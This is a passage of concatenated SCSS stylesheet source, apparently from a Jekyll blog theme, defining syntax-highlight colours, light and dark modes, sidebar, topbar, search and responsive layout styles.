*/\n .highlight .gi { color: #008080; background-color: #ddffdd; } /* Generic.Inserted */\n .highlight .go { color: #888888; } /* Generic.Output */\n .highlight .gp { color: #555555; } /* Generic.Prompt */\n .highlight .gs { font-weight: bold; } /* Generic.Strong */\n .highlight .gu { color: #aaaaaa; } /* Generic.Subheading */\n .highlight .gt { color: #aa0000; } /* Generic.Traceback */\n .highlight .kc { color: #000000; font-weight: bold; } /* Keyword.Constant */\n .highlight .kd { color: #000000; font-weight: bold; } /* Keyword.Declaration */\n .highlight .kn { color: #000000; font-weight: bold; } /* Keyword.Namespace */\n .highlight .kp { color: #000000; font-weight: bold; } /* Keyword.Pseudo */\n .highlight .kr { color: #000000; font-weight: bold; } /* Keyword.Reserved */\n .highlight .kt { color: #445588; font-weight: bold; } /* Keyword.Type */\n .highlight .m { color: #009999; } /* Literal.Number */\n .highlight .s { color: #d01040; } /* Literal.String */\n .highlight .na { color: #008080; } /* Name.Attribute */\n .highlight .nb { color: #0086b3; } /* Name.Builtin */\n .highlight .nc { color: #445588; font-weight: bold; } /* Name.Class */\n .highlight .no { color: #008080; } /* Name.Constant */\n .highlight .nd { color: #3c5d5d; font-weight: bold; } /* Name.Decorator */\n .highlight .ni { color: #800080; } /* Name.Entity */\n .highlight .ne { color: #990000; font-weight: bold; } /* Name.Exception */\n .highlight .nf { color: #990000; font-weight: bold; } /* Name.Function */\n .highlight .nl { color: #990000; font-weight: bold; } /* Name.Label */\n .highlight .nn { color: #555555; } /* Name.Namespace */\n .highlight .nt { color: #000080; } /* Name.Tag */\n .highlight .nv { color: #008080; } /* Name.Variable */\n .highlight .ow { color: #000000; font-weight: bold; } /* Operator.Word */\n .highlight .w { color: #bbbbbb; } /* Text.Whitespace */\n .highlight .mf { color: #009999; } /* Literal.Number.Float */\n .highlight .mh { color: #009999; } /* Literal.Number.Hex */\n .highlight .mi { color: #009999; } /* Literal.Number.Integer */\n .highlight .mo { color: #009999; } /* Literal.Number.Oct */\n .highlight .sb { color: #d01040; } /* Literal.String.Backtick */\n .highlight .sc { color: #d01040; } /* Literal.String.Char */\n .highlight .sd { color: #d01040; } /* Literal.String.Doc */\n .highlight .s2 { color: #d01040; } /* Literal.String.Double */\n .highlight .se { color: #d01040; } /* Literal.String.Escape */\n .highlight .sh { color: #d01040; } /* Literal.String.Heredoc */\n .highlight .si { color: #d01040; } /* Literal.String.Interpol */\n .highlight .sx { color: #d01040; } /* Literal.String.Other */\n .highlight .sr { color: #009926; } /* Literal.String.Regex */\n .highlight .s1 { color: #d01040; } /* Literal.String.Single */\n .highlight .ss { color: #990073; } /* Literal.String.Symbol */\n .highlight .bp { color: #999999; } /* Name.Builtin.Pseudo */\n .highlight .vc { color: #008080; } /* Name.Variable.Class */\n .highlight .vg { color: #008080; } /* Name.Variable.Global */\n .highlight .vi { color: #008080; } /* Name.Variable.Instance */\n .highlight .il { color: #009999; } /* Literal.Number.Integer.Long */\n\n /* --- custom light colors --- */\n --language-border-color: rgba(172, 169, 169, 0.2);\n --highlight-bg-color: #f7f7f7;\n --highlighter-rouge-color: #3f596f;\n --highlight-lineno-color: #c2c6cc;\n --inline-code-bg: #f6f6f7;\n --code-header-text-color: #a3a3b1;\n --code-header-muted-color: #ebebeb;\n --code-header-icon-color: #d1d1d1;\n --clipboard-checked-color: #43c743;\n\n [class^='prompt-'] {\n --inline-code-bg: #fbfafa;\n }\n} /* light-syntax */\n","/*\n * The syntax dark mode styles.\n */\n\n@mixin dark-syntax {\n --language-border-color: rgba(84, 83, 83, 0.27);\n --highlight-bg-color: #252525;\n --highlighter-rouge-color: #de6b18;\n --highlight-lineno-color: #6c6c6d;\n --inline-code-bg: #272822;\n --code-header-text-color: #6a6a6a;\n --code-header-muted-color: rgb(60, 60, 60);\n --code-header-icon-color: rgb(86, 86, 86);\n --clipboard-checked-color: #2bcc2b;\n --filepath-text-color: #bdbdbd;\n\n /* override Bootstrap */\n pre {\n color: #bfbfbf;\n }\n\n .highlight .gp {\n color: #818c96;\n }\n\n /* syntax highlight colors from https://raw.githubusercontent.com/jwarby/pygments-css/master/monokai.css */\n\n .highlight pre { background-color: var(--highlight-bg-color); }\n .highlight .hll { background-color: var(--highlight-bg-color); }\n .highlight .c { color: #75715e; } /* Comment */\n .highlight .err { color: #960050; background-color: #1e0010; } /* Error */\n .highlight .k { color: #66d9ef; } /* Keyword */\n .highlight .l { color: #ae81ff; } /* Literal */\n .highlight .n { color: #f8f8f2; } /* Name */\n .highlight .o { color: #f92672; } /* Operator */\n .highlight .p { color: #f8f8f2; } /* Punctuation */\n .highlight .cm { color: #75715e; } /* Comment.Multiline */\n .highlight .cp { color: #75715e; } /* Comment.Preproc */\n .highlight .c1 { color: #75715e; } /* Comment.Single */\n .highlight .cs { color: #75715e; } /* Comment.Special */\n .highlight .ge { color: inherit; font-style: italic; } /* Generic.Emph */\n .highlight .gs { font-weight: bold; } /* Generic.Strong */\n .highlight .kc { color: #66d9ef; } /* Keyword.Constant */\n .highlight .kd { color: #66d9ef; } /* Keyword.Declaration */\n .highlight .kn { color: #f92672; } /* Keyword.Namespace */\n .highlight .kp { color: #66d9ef; } /* Keyword.Pseudo */\n .highlight .kr { color: #66d9ef; } /* Keyword.Reserved */\n .highlight .kt { color: #66d9ef; } /* Keyword.Type */\n .highlight .ld { color: #e6db74; } /* Literal.Date */\n .highlight .m { color: #ae81ff; } /* Literal.Number */\n .highlight .s { color: #e6db74; } /* Literal.String */\n .highlight .na { color: #a6e22e; } /* Name.Attribute */\n .highlight .nb { color: #f8f8f2; } /* Name.Builtin */\n .highlight .nc { color: #a6e22e; } /* Name.Class */\n .highlight .no { color: #66d9ef; } /* Name.Constant */\n .highlight .nd { color: #a6e22e; } /* Name.Decorator */\n .highlight .ni { color: #f8f8f2; } /* Name.Entity */\n .highlight .ne { color: #a6e22e; } /* Name.Exception */\n .highlight .nf { color: #a6e22e; } /* Name.Function */\n .highlight .nl { color: #f8f8f2; } /* Name.Label */\n .highlight .nn { color: #f8f8f2; } /* Name.Namespace */\n .highlight .nx { color: #a6e22e; } /* Name.Other */\n .highlight .py { color: #f8f8f2; } /* Name.Property */\n .highlight .nt { color: #f92672; } /* Name.Tag */\n .highlight .nv { color: #f8f8f2; } /* Name.Variable */\n .highlight .ow { color: #f92672; } /* Operator.Word */\n .highlight .w { color: #f8f8f2; } /* Text.Whitespace */\n .highlight .mf { color: #ae81ff; } /* Literal.Number.Float */\n .highlight .mh { color: #ae81ff; } /* Literal.Number.Hex */\n .highlight .mi { color: #ae81ff; } /* Literal.Number.Integer */\n .highlight .mo { color: #ae81ff; } /* Literal.Number.Oct */\n .highlight .sb { color: #e6db74; } /* Literal.String.Backtick */\n .highlight .sc { color: #e6db74; } /* Literal.String.Char */\n .highlight .sd { color: #e6db74; } /* Literal.String.Doc */\n .highlight .s2 { color: #e6db74; } /* Literal.String.Double */\n .highlight .se { color: #ae81ff; } /* Literal.String.Escape */\n .highlight .sh { color: #e6db74; } /* Literal.String.Heredoc */\n .highlight .si { color: #e6db74; } /* Literal.String.Interpol */\n .highlight .sx { color: #e6db74; } /* Literal.String.Other */\n .highlight .sr { color: #e6db74; } /* Literal.String.Regex */\n .highlight .s1 { color: #e6db74; } /* Literal.String.Single */\n .highlight .ss { color: #e6db74; } /* Literal.String.Symbol */\n .highlight .bp { color: #f8f8f2; } /* Name.Builtin.Pseudo */\n .highlight .vc { color: #f8f8f2; } /* Name.Variable.Class */\n .highlight .vg { color: #f8f8f2; } /* Name.Variable.Global */\n .highlight .vi { color: #f8f8f2; } /* Name.Variable.Instance */\n .highlight .il { color: #ae81ff; } /* Literal.Number.Integer.Long */\n .highlight .gu { color: #75715e; } /* Generic.Subheading & Diff Unified/Comment? */\n .highlight .gd { color: #f92672; background-color: #561c08; } /* Generic.Deleted & Diff Deleted */\n .highlight .gi { color: #a6e22e; background-color: #0b5858; } /* Generic.Inserted & Diff Inserted */\n}\n","/*\n The common styles\n*/\n\nhtml {\n @media (prefers-color-scheme: light) {\n &:not([data-mode]),\n &[data-mode='light'] {\n @include light-scheme;\n }\n\n &[data-mode='dark'] {\n @include dark-scheme;\n }\n }\n\n @media (prefers-color-scheme: dark) {\n &:not([data-mode]),\n &[data-mode='dark'] {\n @include dark-scheme;\n }\n\n &[data-mode='light'] {\n @include light-scheme;\n }\n }\n\n font-size: 16px;\n}\n\nbody {\n background: var(--main-bg);\n padding: env(safe-area-inset-top) env(safe-area-inset-right)\n env(safe-area-inset-bottom) env(safe-area-inset-left);\n color: var(--text-color);\n -webkit-font-smoothing: antialiased;\n font-family: $font-family-base;\n}\n\n/* --- Typography --- */\n\n@for $i from 1 through 5 {\n h#{$i} {\n @extend %heading;\n\n @if $i > 1 {\n @extend %section;\n @extend %anchor;\n }\n\n @if $i < 5 {\n $factor: 0.18rem;\n\n @if $i == 1 {\n $factor: 0.23rem;\n }\n\n font-size: 1rem + (5 - $i) * $factor;\n } @else {\n font-size: 1rem;\n }\n }\n}\n\na {\n @extend %link-color;\n\n text-decoration: none;\n}\n\nimg {\n max-width: 100%;\n height: auto;\n transition: all 0.35s ease-in-out;\n\n &[data-src] {\n &[data-lqip='true'] {\n &.lazyload,\n &.lazyloading {\n -webkit-filter: blur(20px);\n filter: blur(20px);\n }\n }\n\n &:not([data-lqip='true']) {\n &.lazyload,\n &.lazyloading {\n background: var(--img-bg);\n }\n\n &.lazyloaded {\n -webkit-animation: fade-in 0.35s ease-in;\n animation: fade-in 0.35s ease-in;\n }\n }\n\n &.shadow {\n -webkit-filter: drop-shadow(2px 4px 6px rgba(0, 0, 0, 0.08));\n filter: drop-shadow(2px 4px 6px rgba(0, 0, 0, 0.08));\n box-shadow: none !important; /* cover the Bootstrap 4.6.1 styles */\n }\n\n @extend %img-caption;\n }\n\n @-webkit-keyframes fade-in {\n from {\n opacity: 0;\n }\n to {\n opacity: 1;\n }\n }\n\n @keyframes fade-in {\n from {\n opacity: 0;\n }\n to {\n opacity: 1;\n }\n }\n}\n\nblockquote {\n border-left: 5px solid var(--blockquote-border-color);\n padding-left: 1rem;\n color: var(--blockquote-text-color);\n\n &[class^='prompt-'] {\n border-left: 0;\n position: relative;\n padding: 1rem 1rem 1rem 3rem;\n color: var(--prompt-text-color);\n\n @extend %rounded;\n\n &::before {\n text-align: center;\n width: 3rem;\n position: absolute;\n left: 0.25rem;\n margin-top: 0.4rem;\n text-rendering: auto;\n -webkit-font-smoothing: antialiased;\n }\n\n > p:last-child {\n margin-bottom: 0;\n }\n }\n\n @include prompt('tip', '\\f0eb', 'regular');\n @include prompt('info', '\\f06a');\n @include prompt('warning', '\\f06a');\n @include prompt('danger', '\\f071');\n}\n\nkbd {\n font-family: inherit;\n display: inline-block;\n vertical-align: middle;\n line-height: 1.3rem;\n min-width: 1.75rem;\n text-align: center;\n margin: 0 0.3rem;\n padding-top: 0.1rem;\n color: var(--kbd-text-color);\n background-color: var(--kbd-bg-color);\n border-radius: 0.25rem;\n border: solid 1px var(--kbd-wrap-color);\n box-shadow: inset 0 -2px 0 var(--kbd-wrap-color);\n}\n\nfooter {\n font-size: 0.8rem;\n background-color: var(--main-bg);\n\n div.d-flex {\n height: $footer-height;\n line-height: 1.2rem;\n padding-bottom: 1rem;\n border-top: 1px solid var(--main-border-color);\n flex-wrap: wrap;\n }\n\n a {\n @extend %text-color;\n\n &:hover {\n @extend %link-hover;\n }\n }\n\n p {\n width: 100%;\n text-align: center;\n margin-bottom: 0;\n }\n}\n\n/* fontawesome icons */\ni {\n &.far,\n &.fas {\n @extend %no-cursor;\n }\n}\n\n/* --- Panels --- */\n\n.access {\n top: 2rem;\n transition: top 0.2s ease-in-out;\n margin-top: 3rem;\n margin-bottom: 4rem;\n\n &:only-child {\n position: -webkit-sticky;\n position: sticky;\n }\n\n > div {\n padding-left: 1rem;\n border-left: 1px solid var(--main-border-color);\n\n &:not(:last-child) {\n margin-bottom: 4rem;\n }\n }\n\n .post-content {\n font-size: 0.9rem;\n }\n}\n\n#panel-wrapper {\n /* the headings */\n .panel-heading {\n @include label(inherit);\n }\n\n .post-tag {\n line-height: 1.05rem;\n font-size: 0.85rem;\n border: 1px solid var(--btn-border-color);\n border-radius: 0.8rem;\n padding: 0.3rem 0.5rem;\n margin: 0 0.35rem 0.5rem 0;\n\n &:hover {\n transition: all 0.3s ease-in;\n }\n }\n}\n\n#access-lastmod {\n a {\n &:hover {\n @extend %link-hover;\n }\n\n @extend %no-bottom-border;\n\n color: inherit;\n }\n}\n\n.footnotes > ol {\n padding-left: 2rem;\n margin-top: 0.5rem;\n\n > li {\n &:not(:last-child) {\n margin-bottom: 0.3rem;\n }\n\n > p {\n margin-left: 0.25em;\n margin-top: 0;\n margin-bottom: 0;\n }\n }\n}\n\n.footnote {\n @at-root a#{&} {\n @include ml-mr(1px);\n @include pl-pr(2px);\n\n border-bottom-style: none !important;\n transition: background-color 1.5s ease-in-out;\n }\n}\n\n.reversefootnote {\n @at-root a#{&} {\n font-size: 0.6rem;\n line-height: 1;\n position: relative;\n bottom: 0.25em;\n margin-left: 0.25em;\n border-bottom-style: none !important;\n }\n}\n\n/* --- Begin of Markdown table style --- */\n\n/* it will be created by Liquid */\n.table-wrapper {\n overflow-x: auto;\n margin-bottom: 1.5rem;\n\n > table {\n min-width: 100%;\n overflow-x: auto;\n border-spacing: 0;\n\n thead {\n border-bottom: solid 2px rgba(210, 215, 217, 0.75);\n\n th {\n @extend %table-cell;\n }\n }\n\n tbody {\n tr {\n border-bottom: 1px solid var(--tb-border-color);\n\n &:nth-child(2n) {\n background-color: var(--tb-even-bg);\n }\n\n &:nth-child(2n + 1) {\n background-color: var(--tb-odd-bg);\n }\n\n td {\n @extend %table-cell;\n }\n }\n } /* tbody */\n } /* table */\n}\n\n/* --- post --- */\n\n.post-preview {\n @extend %rounded;\n\n border: 0;\n background: var(--card-bg);\n box-shadow: var(--card-shadow);\n\n &::before {\n @extend %rounded;\n\n content: '';\n width: 100%;\n height: 100%;\n position: absolute;\n background-color: var(--card-hovor-bg);\n opacity: 0;\n transition: opacity 0.35s ease-in-out;\n }\n\n &:hover {\n &::before {\n opacity: 0.3;\n }\n }\n}\n\n.post {\n h1 {\n margin-top: 2rem;\n margin-bottom: 1.5rem;\n }\n\n p {\n > img[data-src],\n > a.popup {\n &:not(.normal):not(.left):not(.right) {\n @include align-center;\n }\n }\n }\n}\n\n.post-meta {\n font-size: 0.85rem;\n\n a {\n &:not([class]):hover {\n @extend %link-hover;\n }\n }\n\n em {\n @extend %normal-font-style;\n }\n}\n\n.post-content {\n font-size: 1.08rem;\n margin-top: 2rem;\n overflow-wrap: break-word;\n\n a {\n &.popup {\n @extend %no-cursor;\n @extend %img-caption;\n @include mt-mb(0.5rem);\n\n cursor: zoom-in;\n }\n\n &:not(.img-link) {\n @extend %link-underline;\n\n &:hover {\n @extend %link-hover;\n }\n }\n }\n\n ol,\n ul {\n &:not([class]),\n &.task-list {\n -webkit-padding-start: 1.75rem;\n padding-inline-start: 1.75rem;\n\n li {\n margin: 0.25rem 0;\n padding-left: 0.25rem;\n }\n\n ol,\n ul {\n -webkit-padding-start: 1.25rem;\n padding-inline-start: 1.25rem;\n margin: 0.5rem 0;\n }\n }\n }\n\n ul.task-list {\n -webkit-padding-start: 1.25rem;\n padding-inline-start: 1.25rem;\n\n li {\n list-style-type: none;\n padding-left: 0;\n\n /* checkbox icon */\n > i {\n width: 2rem;\n margin-left: -1.25rem;\n color: var(--checkbox-color);\n\n &.checked {\n color: var(--checkbox-checked-color);\n }\n }\n\n ul {\n -webkit-padding-start: 1.75rem;\n padding-inline-start: 1.75rem;\n }\n }\n\n input[type='checkbox'] {\n margin: 0 0.5rem 0.2rem -1.3rem;\n vertical-align: middle;\n }\n } /* ul */\n\n dl > dd {\n margin-left: 1rem;\n }\n\n ::marker {\n color: var(--text-muted-color);\n }\n} /* .post-content */\n\n.tag:hover {\n @extend %tag-hover;\n}\n\n.post-tag {\n display: inline-block;\n min-width: 2rem;\n text-align: center;\n border-radius: 0.3rem;\n padding: 0 0.4rem;\n color: inherit;\n line-height: 1.3rem;\n\n &:not(:last-child) {\n margin-right: 0.2rem;\n }\n}\n\n.rounded-10 {\n border-radius: 10px !important;\n}\n\n.img-link {\n color: transparent;\n display: inline-flex;\n}\n\n.shimmer {\n overflow: hidden;\n position: relative;\n background: var(--img-bg);\n\n &::before {\n content: '';\n position: absolute;\n background: var(--shimmer-bg);\n height: 100%;\n width: 100%;\n -webkit-animation: shimmer 1s infinite;\n animation: shimmer 1s infinite;\n }\n\n @-webkit-keyframes shimmer {\n 0% {\n transform: translateX(-100%);\n }\n 100% {\n transform: translateX(100%);\n }\n }\n\n @keyframes shimmer {\n 0% {\n transform: translateX(-100%);\n }\n 100% {\n transform: translateX(100%);\n }\n }\n}\n\n.embed-video {\n width: 100%;\n height: 100%;\n margin-bottom: 1rem;\n\n @extend %rounded;\n\n &.youtube {\n aspect-ratio: 16 / 9;\n }\n\n &.twitch {\n aspect-ratio: 310 / 189;\n }\n}\n\n/* --- buttons --- */\n.btn-lang {\n border: 1px solid !important;\n padding: 1px 3px;\n border-radius: 3px;\n color: var(--link-color);\n\n &:focus {\n box-shadow: none;\n }\n}\n\n/* --- Effects classes --- */\n\n.loaded {\n display: block !important;\n\n @at-root .d-flex#{&} {\n display: flex !important;\n }\n}\n\n.unloaded {\n display: none !important;\n}\n\n.visible {\n visibility: visible !important;\n}\n\n.hidden {\n visibility: hidden !important;\n}\n\n.flex-grow-1 {\n flex-grow: 1 !important;\n}\n\n.btn-box-shadow {\n box-shadow: 0 0 8px 0 var(--btn-box-shadow) !important;\n}\n\n/* overwrite bootstrap muted */\n.text-muted {\n color: var(--text-muted-color) !important;\n}\n\n/* Overwrite bootstrap tooltip */\n.tooltip-inner {\n font-size: 0.7rem;\n max-width: 220px;\n text-align: left;\n}\n\n/* Overwrite bootstrap outline button */\n.btn.btn-outline-primary {\n &:not(.disabled):hover {\n border-color: #007bff !important;\n }\n}\n\n.disabled {\n color: rgb(206, 196, 196);\n pointer-events: auto;\n cursor: not-allowed;\n}\n\n.hide-border-bottom {\n border-bottom: none !important;\n}\n\n.input-focus {\n box-shadow: none;\n border-color: var(--input-focus-border-color) !important;\n background: center !important;\n transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out;\n}\n\n.left {\n float: left;\n margin: 0.75rem 1rem 1rem 0 !important;\n}\n\n.right {\n float: right;\n margin: 0.75rem 0 1rem 1rem !important;\n}\n\n/* --- Overriding --- */\n\n/* magnific-popup */\n\nfigure .mfp-title {\n text-align: center;\n padding-right: 0;\n margin-top: 0.5rem;\n}\n\n.mfp-img {\n transition: none;\n}\n\n/* mermaid */\n.mermaid {\n text-align: center;\n}\n\n/* MathJax */\nmjx-container {\n overflow-y: hidden;\n min-width: auto !important;\n}\n\n/* --- sidebar layout --- */\n\n$sidebar-display: 'sidebar-display';\n$btn-gap: 0.8rem; // for the bottom icons\n$btn-border-width: 3px;\n$btn-mb: 0.5rem;\n\n#sidebar {\n @include pl-pr(0);\n\n position: fixed;\n top: 0;\n left: 0;\n height: 100%;\n overflow-y: auto;\n width: $sidebar-width;\n z-index: 99;\n background: var(--sidebar-bg);\n\n /* Hide scrollbar for Chrome, Safari and Opera */\n &::-webkit-scrollbar {\n display: none;\n }\n\n /* Hide scrollbar for IE, Edge and Firefox */\n -ms-overflow-style: none; /* IE and Edge */\n scrollbar-width: none; /* Firefox */\n\n %sidebar-link-hover {\n &:hover {\n color: var(--sidebar-active-color);\n }\n }\n\n a {\n @extend %sidebar-links;\n }\n\n #avatar {\n display: block;\n width: 7rem;\n height: 7rem;\n overflow: hidden;\n box-shadow: var(--avatar-border-color) 0 0 0 2px;\n transform: translateZ(0); /* fixed the zoom in Safari */\n\n img {\n transition: transform 0.5s;\n\n &:hover {\n transform: scale(1.2);\n }\n }\n }\n\n .profile-wrapper {\n @include mt-mb(2.5rem);\n @extend %clickable-transition;\n\n padding-left: 2.5rem;\n padding-right: 1.25rem;\n width: 100%;\n }\n\n .site-title {\n font-weight: 900;\n font-size: 1.75rem;\n line-height: 1.2;\n letter-spacing: 0.25px;\n color: rgba(134, 133, 133, 0.99);\n margin-top: 1.25rem;\n margin-bottom: 0.5rem;\n\n a {\n @extend %clickable-transition;\n @extend %sidebar-link-hover;\n }\n }\n\n .site-subtitle {\n font-size: 95%;\n color: var(--sidebar-muted-color);\n margin-top: 0.25rem;\n word-spacing: 1px;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n }\n\n ul {\n margin-bottom: 2rem;\n\n li.nav-item {\n opacity: 0.9;\n width: 100%;\n padding-left: 1.5rem;\n padding-right: 1.5rem;\n\n a.nav-link {\n @include pt-pb(0.6rem);\n\n display: flex;\n align-items: center;\n border-radius: 0.75rem;\n font-weight: 600;\n\n &:hover {\n background-color: var(--sidebar-hover-bg);\n }\n\n i {\n font-size: 95%;\n opacity: 0.8;\n margin-right: 1.5rem;\n }\n\n span {\n font-size: 90%;\n letter-spacing: 0.2px;\n }\n }\n\n &.active {\n .nav-link {\n color: var(--sidebar-active-color);\n background-color: var(--sidebar-hover-bg);\n\n span {\n opacity: 1;\n }\n }\n }\n\n &:not(:first-child) {\n margin-top: 0.25rem;\n }\n }\n }\n\n .sidebar-bottom {\n @include pl-pr(2rem);\n\n margin-bottom: 1.5rem;\n\n %button {\n width: 1.75rem;\n height: 1.75rem;\n margin-bottom: $btn-mb; // multi line gap\n border-radius: 50%;\n color: var(--sidebar-btn-color);\n background-color: var(--sidebar-btn-bg);\n text-align: center;\n display: flex;\n align-items: center;\n justify-content: center;\n\n &:hover {\n background-color: var(--sidebar-hover-bg);\n }\n }\n\n a {\n @extend %button;\n @extend %sidebar-link-hover;\n @extend %clickable-transition;\n\n &:not(:last-child) {\n margin-right: $btn-gap;\n }\n }\n\n i {\n line-height: 1.75rem;\n }\n\n .mode-toggle {\n padding: 0;\n border: 0;\n\n @extend %button;\n @extend %sidebar-links;\n @extend %sidebar-link-hover;\n }\n\n .icon-border {\n @extend %no-cursor;\n @include ml-mr(calc(($btn-gap - $btn-border-width) / 2));\n\n background-color: var(--sidebar-muted-color);\n content: '';\n width: $btn-border-width;\n height: $btn-border-width;\n border-radius: 50%;\n margin-bottom: $btn-mb;\n }\n } /* .sidebar-bottom */\n} /* #sidebar */\n\n@media (hover: hover) {\n #sidebar ul > li:last-child::after {\n transition: top 0.5s ease;\n }\n\n .nav-link {\n transition: background-color 0.3s ease-in-out;\n }\n\n .post-preview {\n transition: background-color 0.35s ease-in-out;\n }\n}\n\n#search-result-wrapper {\n display: none;\n height: 100%;\n width: 100%;\n overflow: auto;\n\n .post-content {\n margin-top: 2rem;\n }\n}\n\n/* --- top-bar --- */\n\n#topbar-wrapper {\n height: $topbar-height;\n background-color: var(--topbar-bg);\n}\n\n#topbar {\n /* icons */\n i {\n color: #999999;\n }\n\n #breadcrumb {\n font-size: 1rem;\n color: gray;\n padding-left: 0.5rem;\n\n a:hover {\n @extend %link-hover;\n }\n\n span {\n &:not(:last-child) {\n &::after {\n content: '›';\n padding: 0 0.3rem;\n }\n }\n }\n }\n} /* #topbar */\n\n#sidebar-trigger,\n#search-trigger {\n display: none;\n}\n\n#search-wrapper {\n display: flex;\n width: 100%;\n border-radius: 1rem;\n border: 1px solid var(--search-wrapper-border-color);\n background: var(--main-bg);\n padding: 0 0.5rem;\n\n i {\n z-index: 2;\n font-size: 0.9rem;\n color: var(--search-icon-color);\n }\n}\n\n/* 'Cancel' link */\n#search-cancel {\n color: var(--link-color);\n margin-left: 0.75rem;\n display: none;\n white-space: nowrap;\n\n @extend %cursor-pointer;\n}\n\n#search-input {\n background: center;\n border: 0;\n border-radius: 0;\n padding: 0.18rem 0.3rem;\n color: var(--text-color);\n height: auto;\n\n &:focus {\n box-shadow: none;\n\n &.form-control {\n &::-moz-placeholder {\n @include input-placeholder;\n }\n &::-webkit-input-placeholder {\n @include input-placeholder;\n }\n &:-ms-input-placeholder {\n @include input-placeholder;\n }\n &::-ms-input-placeholder {\n @include input-placeholder;\n }\n &::placeholder {\n @include input-placeholder;\n }\n }\n }\n}\n\n#search-hints {\n padding: 0 1rem;\n\n h4 {\n margin-bottom: 1.5rem;\n }\n\n .post-tag {\n display: inline-block;\n line-height: 1rem;\n font-size: 1rem;\n background: var(--search-tag-bg);\n border: none;\n padding: 0.5rem;\n margin: 0 1.25rem 1rem 0;\n\n &::before {\n content: '#';\n color: var(--text-muted-color);\n padding-right: 0.2rem;\n }\n\n @extend %link-color;\n }\n}\n\n#search-results {\n padding-bottom: 3rem;\n\n a {\n &:hover {\n @extend %link-hover;\n }\n\n @extend %link-color;\n @extend %no-bottom-border;\n @extend %heading;\n\n font-size: 1.4rem;\n line-height: 2.5rem;\n }\n\n > div {\n width: 100%;\n\n &:not(:last-child) {\n margin-bottom: 1rem;\n }\n\n /* icons */\n i {\n color: #818182;\n margin-right: 0.15rem;\n font-size: 80%;\n }\n\n > p {\n overflow: hidden;\n text-overflow: ellipsis;\n display: -webkit-box;\n -webkit-line-clamp: 3;\n -webkit-box-orient: vertical;\n }\n }\n} /* #search-results */\n\n#topbar-title {\n display: none;\n font-size: 1.1rem;\n font-weight: 600;\n font-family: sans-serif;\n color: var(--topbar-text-color);\n text-align: center;\n width: 70%;\n overflow: hidden;\n text-overflow: ellipsis;\n word-break: keep-all;\n white-space: nowrap;\n}\n\n#core-wrapper {\n line-height: 1.75;\n\n .categories,\n #tags,\n #archives {\n a:not(:hover) {\n @extend %no-bottom-border;\n }\n }\n}\n\n#mask {\n display: none;\n position: fixed;\n inset: 0 0 0 0;\n height: 100%;\n width: 100%;\n z-index: 1;\n\n @at-root [#{$sidebar-display}] & {\n display: block !important;\n }\n}\n\n/* --- main wrapper --- */\n\n#main-wrapper {\n background-color: var(--main-bg);\n position: relative;\n min-height: calc(100vh - $footer-height-mobile);\n\n @include pl-pr(0);\n}\n\n#topbar-wrapper.row,\n#main > .row,\n#search-result-wrapper > .row {\n @include ml-mr(0);\n}\n\n/* --- button back-to-top --- */\n\n#back-to-top {\n $size: 3rem;\n\n display: none;\n z-index: 1;\n cursor: pointer;\n position: fixed;\n right: 1rem;\n bottom: 2rem;\n background: var(--button-bg);\n color: var(--btn-backtotop-color);\n padding: 0;\n width: $size;\n height: $size;\n border-radius: 50%;\n border: 1px solid var(--btn-backtotop-border-color);\n transition: transform 0.2s ease-out;\n -webkit-transition: transform 0.2s ease-out;\n\n &:hover {\n transform: translate3d(0, -5px, 0);\n -webkit-transform: translate3d(0, -5px, 0);\n }\n\n i {\n line-height: $size;\n position: relative;\n bottom: 2px;\n }\n}\n\n#notification {\n @-webkit-keyframes popup {\n from {\n opacity: 0;\n bottom: 0;\n }\n }\n\n @keyframes popup {\n from {\n opacity: 0;\n bottom: 0;\n }\n }\n\n .toast-header {\n background: none;\n border-bottom: none;\n color: inherit;\n }\n\n .toast-body {\n font-family: Lato, sans-serif;\n line-height: 1.25rem;\n\n button {\n font-size: 90%;\n min-width: 4rem;\n }\n }\n\n &.toast {\n &.show {\n display: block;\n min-width: 20rem;\n border-radius: 0.5rem;\n -webkit-backdrop-filter: blur(10px);\n backdrop-filter: blur(10px);\n background-color: rgba(255, 255, 255, 0.5);\n color: #1b1b1eba;\n position: fixed;\n left: 50%;\n bottom: 20%;\n transform: translateX(-50%);\n -webkit-animation: popup 0.8s;\n animation: popup 0.8s;\n }\n }\n}\n\n/*\n Responsive Design:\n\n {sidebar, content, panel} >= 1200px screen width\n {sidebar, content} >= 850px screen width\n {content} <= 849px screen width\n\n*/\n\n@media all and (max-width: 576px) {\n #main-wrapper {\n min-height: calc(100vh - #{$footer-height-mobile});\n }\n\n #core-wrapper {\n .post-content {\n > blockquote[class^='prompt-'] {\n @include ml-mr(-1.25rem);\n\n border-radius: 0;\n max-width: none;\n }\n }\n }\n\n #avatar {\n width: 5rem;\n height: 5rem;\n }\n}\n\n@media all and (max-width: 768px) {\n %full-width {\n max-width: 100%;\n }\n\n #topbar {\n @extend %full-width;\n }\n\n #main {\n @extend %full-width;\n @include pl-pr(0);\n }\n}\n\n/* hide sidebar and panel */\n@media all and (max-width: 849px) {\n @mixin slide($append: null) {\n $basic: transform 0.4s ease;\n\n @if $append {\n transition: $basic, $append;\n } @else {\n transition: $basic;\n }\n }\n\n html,\n body {\n overflow-x: hidden;\n }\n\n footer {\n @include slide;\n\n height: $footer-height-mobile;\n\n div.d-flex {\n padding: 1.5rem 0;\n line-height: 1.65;\n flex-wrap: wrap;\n }\n }\n\n [#{$sidebar-display}] {\n #sidebar {\n transform: translateX(0);\n }\n\n #main-wrapper,\n footer {\n transform: translateX(#{$sidebar-width});\n }\n\n #back-to-top {\n visibility: hidden;\n }\n }\n\n #sidebar {\n @include slide;\n\n transform: translateX(-#{$sidebar-width}); /* hide */\n -webkit-transform: translateX(-#{$sidebar-width});\n }\n\n #main-wrapper {\n @include slide;\n }\n\n #topbar,\n #main,\n footer > .container {\n max-width: 100%;\n }\n\n #search-result-wrapper {\n width: 100%;\n }\n\n #breadcrumb,\n #search-wrapper {\n display: none;\n }\n\n #topbar-wrapper {\n @include slide(top 0.2s ease);\n\n left: 0;\n }\n\n #core-wrapper,\n #panel-wrapper {\n margin-top: 0;\n }\n\n #topbar-title,\n #sidebar-trigger,\n #search-trigger {\n display: block;\n }\n\n #search-result-wrapper .post-content {\n letter-spacing: 0;\n }\n\n #tags {\n justify-content: center !important;\n }\n\n h1.dynamic-title {\n display: none;\n\n ~ .post-content {\n margin-top: 2.5rem;\n }\n }\n} /* max-width: 849px */\n\n/* Phone & Pad */\n@media all and (min-width: 577px) and (max-width: 1199px) {\n footer 